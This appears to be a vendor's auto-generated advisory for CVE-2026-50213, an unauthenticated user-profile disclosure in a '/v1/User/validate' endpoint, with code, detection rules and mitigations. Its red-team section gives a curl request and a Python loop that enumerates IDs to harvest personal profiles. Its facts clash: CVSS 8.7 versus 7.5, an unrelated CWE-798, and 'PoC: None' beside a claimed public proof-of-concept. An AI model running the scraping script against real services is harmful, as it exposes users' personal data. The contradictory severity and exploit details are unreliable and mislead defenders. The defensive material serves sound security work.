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CVSS: 8.7 🐛 CWE-798
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-50213

CVE-2026-50213 Information Disclosure in Account
📅 PUBLISHED: 2026-06-04 09:16 UTC 🔄 UPDATED: 2026-10-11 17:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.39%
👁️
0.39% probability
9.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1078
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-50213 exposes a critical information disclosure vulnerability in the Account platform's user validation endpoint. The /v1/User/validate endpoint returns comprehensive user profile data sheets without proper authentication or rate limiting. By iterating through predictable identification strings (likely sequential user IDs or email addresses), an unauthenticated attacker can systematically harvest sensitive user profile data at scale. This vulnerability enables mass data scraping, reconnaissance for targeted attacks, and potential privacy violations. The lack of a confirmed patch and the public nature of the proof-of-concept make this a high-priority threat for any organization using the affected Account software.

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Supply Chain & Package Security

This vulnerability is not associated with a specific package manager (NPM, PyPI, Go, Ruby). It affects a proprietary web application endpoint. However, if the Account platform is deployed as part of a containerized or orchestrated environment, organizations should audit their deployment manifests and ensure the vulnerable endpoint is not exposed to the internet.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or race conditions are required.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – No user action is required.
  • Scope (S): Unchanged – The impact is confined to the vulnerable component.
  • Confidentiality (C): High – Comprehensive user profile data is exposed.
  • Integrity (I): None – No data modification is possible.
  • Availability (A): None – No denial of service.

Threat Level: High. The ease of exploitation (no auth, low complexity) combined with the high confidentiality impact makes this a significant risk. The lack of a patch means all instances are vulnerable.

Deep Dive & Mechanics

The vulnerability resides in the /v1/User/validate endpoint. This endpoint is designed to validate user accounts, but instead of returning a simple boolean or token, it returns a comprehensive user profile data sheet. The endpoint accepts a user identifier (likely an email address, username, or numeric ID) as a parameter. Because these identifiers are predictable (e.g., sequential integers or common email patterns), an attacker can automate requests to enumerate all valid users and extract their profile data.

Attack Flow:

  1. The attacker identifies the base URL of the Account platform (e.g., https://target.com/v1/User/validate).
  2. The attacker crafts a request with a predictable identifier, such as ?id=1 or ?email=user1@example.com.
  3. The server returns a JSON response containing sensitive profile fields (e.g., full name, email, phone, address, role, account status, creation date).
  4. The attacker iterates through identifiers (e.g., id=1, id=2, ... or email=user1@example.com, user2@example.com, ...) to harvest all user data.
  5. The attacker stores the collected data for further exploitation (credential stuffing, phishing, social engineering).

Root Cause: The endpoint lacks proper access control and does not verify that the requester is authorized to view the profile data. It also lacks rate limiting, allowing rapid enumeration.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/v1/User/validate', methods=['GET'])
def validate_user():
    user_id = request.args.get('id')
    user = db.query("SELECT * FROM users WHERE id = ?", user_id)
    if user:
        return jsonify(user.to_dict())  # Returns full profile
    else:
        return jsonify({"valid": False}), 404

Patched Code (Conceptual):

@app.route('/v1/User/validate', methods=['GET'])
def validate_user():
    user_id = request.args.get('id')
    # Authenticate the requester
    auth_token = request.headers.get('Authorization')
    if not auth_token or not validate_token(auth_token):
        return jsonify({"error": "Unauthorized"}), 401
    # Verify the requester owns or has permission to view this user
    requester_id = get_user_from_token(auth_token)
    if requester_id != int(user_id) and not is_admin(requester_id):
        return jsonify({"error": "Forbidden"}), 403
    user = db.query("SELECT * FROM users WHERE id = ?", user_id)
    if user:
        # Return only necessary fields
        return jsonify({"valid": True, "username": user.username})
    else:
        return jsonify({"valid": False}), 404

Key Differences:

  • Authentication: Patched version requires a valid auth token.
  • Authorization: Patched version checks if the requester is the user or an admin.
  • Data Minimization: Patched version returns only a boolean and username, not the full profile.
  • Rate Limiting: Should be added to prevent enumeration even with auth.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable instance of the Account platform (e.g., using Docker with a known vulnerable version).
  2. Create several test user accounts with predictable IDs (e.g., user1, user2, user3).
  3. Use a tool like curl, Burp Suite, or a custom Python script.

Exploitation Steps:

  1. Identify the endpoint: GET /v1/User/validate?id=1
  2. Craft a request:
    curl -X GET "http://target.com/v1/User/validate?id=1"
    
  3. Observe the response: The server returns a JSON object with full user profile data.
  4. Automate enumeration:
    import requests
    import json
    
    base_url = "http://target.com/v1/User/validate"
    for user_id in range(1, 1001):
        response = requests.get(f"{base_url}?id={user_id}")
        if response.status_code == 200:
            data = response.json()
            print(f"User {user_id}: {json.dumps(data, indent=2)}")
    
  5. Extract and store data: Save the harvested profiles to a file for further analysis.

Expected Output:

{
  "id": 1,
  "username": "jdoe",
  "email": "jdoe@example.com",
  "full_name": "John Doe",
  "phone": "+1234567890",
  "address": "123 Main St",
  "role": "user",
  "account_status": "active",
  "created_at": "2025-01-01T00:00:00Z"
}

Blue Team (Defensive)

Detection & Response:

  1. Monitor for enumeration patterns: Look for sequential or rapid requests to /v1/User/validate from a single IP.
  2. Implement rate limiting: Block IPs that exceed a threshold (e.g., 10 requests per minute).
  3. Add authentication: Require a valid API key or session token for the endpoint.
  4. Audit logs: Check access logs for unusual spikes in requests to the validate endpoint.
  5. Honeypot: Create fake user accounts with monitoring to detect scraping attempts.

Mitigation Steps:

  1. Immediate: Disable the /v1/User/validate endpoint if not critical.
  2. Short-term: Add authentication and authorization checks.
  3. Long-term: Redesign the endpoint to return minimal data (e.g., only a boolean).

Indicators of Compromise (IOCs)

Network IOCs:

  • URL Pattern: */v1/User/validate*
  • Request Parameters: id=, email=, username=
  • User-Agent: Custom scripts (e.g., Python-requests, curl)
  • Source IPs: Multiple requests from the same IP in a short time frame

File IOCs:

  • Logs: /var/log/nginx/access.log or /var/log/apache2/access.log containing repeated requests to /v1/User/validate
  • Exfiltrated Data: Files named users.json, scraped_data.csv, etc.

Behavioral IOCs:

  • High request rate: >100 requests per minute to the validate endpoint
  • Sequential IDs: Requests with id=1, id=2, id=3, etc.
  • Unusual response sizes: Large JSON responses for a validation endpoint

Detection Engineering

YARA Rule

rule Detect_Account_Validate_Scraping {
    meta:
        description = "Detects requests to the vulnerable /v1/User/validate endpoint"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-50213"
    strings:
        $endpoint = "/v1/User/validate"
        $param_id = "?id="
        $param_email = "?email="
        $param_username = "?username="
    condition:
        any of ($endpoint*) and any of ($param_id, $param_email, $param_username)
}

Sigma Rule

title: Account User Validate Endpoint Enumeration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects enumeration attempts against the /v1/User/validate endpoint
author: Valters IT
date: 2026/01/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-stem: "/v1/User/validate"
        cs-uri-query|contains: "id="
    condition: selection
falsepositives:
    - Legitimate validation requests from authenticated users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-50213 - Account User Validate Enumeration"; flow:to_server; content:"/v1/User/validate"; http_uri; content:"id="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the endpoint: If /v1/User/validate is not critical, disable it immediately.
  2. Implement authentication: Require a valid session token or API key for all requests.
  3. Add rate limiting: Limit requests to 10 per minute per IP.
  4. Audit access logs: Check for signs of exploitation.

Long-term Fixes:

  1. Redesign the endpoint: Return only a boolean or minimal data (e.g., username).
  2. Use unpredictable identifiers: Switch to UUIDs or hashed identifiers.
  3. Implement CAPTCHA: Add CAPTCHA for unauthenticated requests.
  4. Monitor for abuse: Set up alerts for unusual request patterns.

Patch Status: No official patch is available. Organizations must implement the mitigations above.


Report generated by Valters IT DevSecOps & CTI Division

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-50213/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
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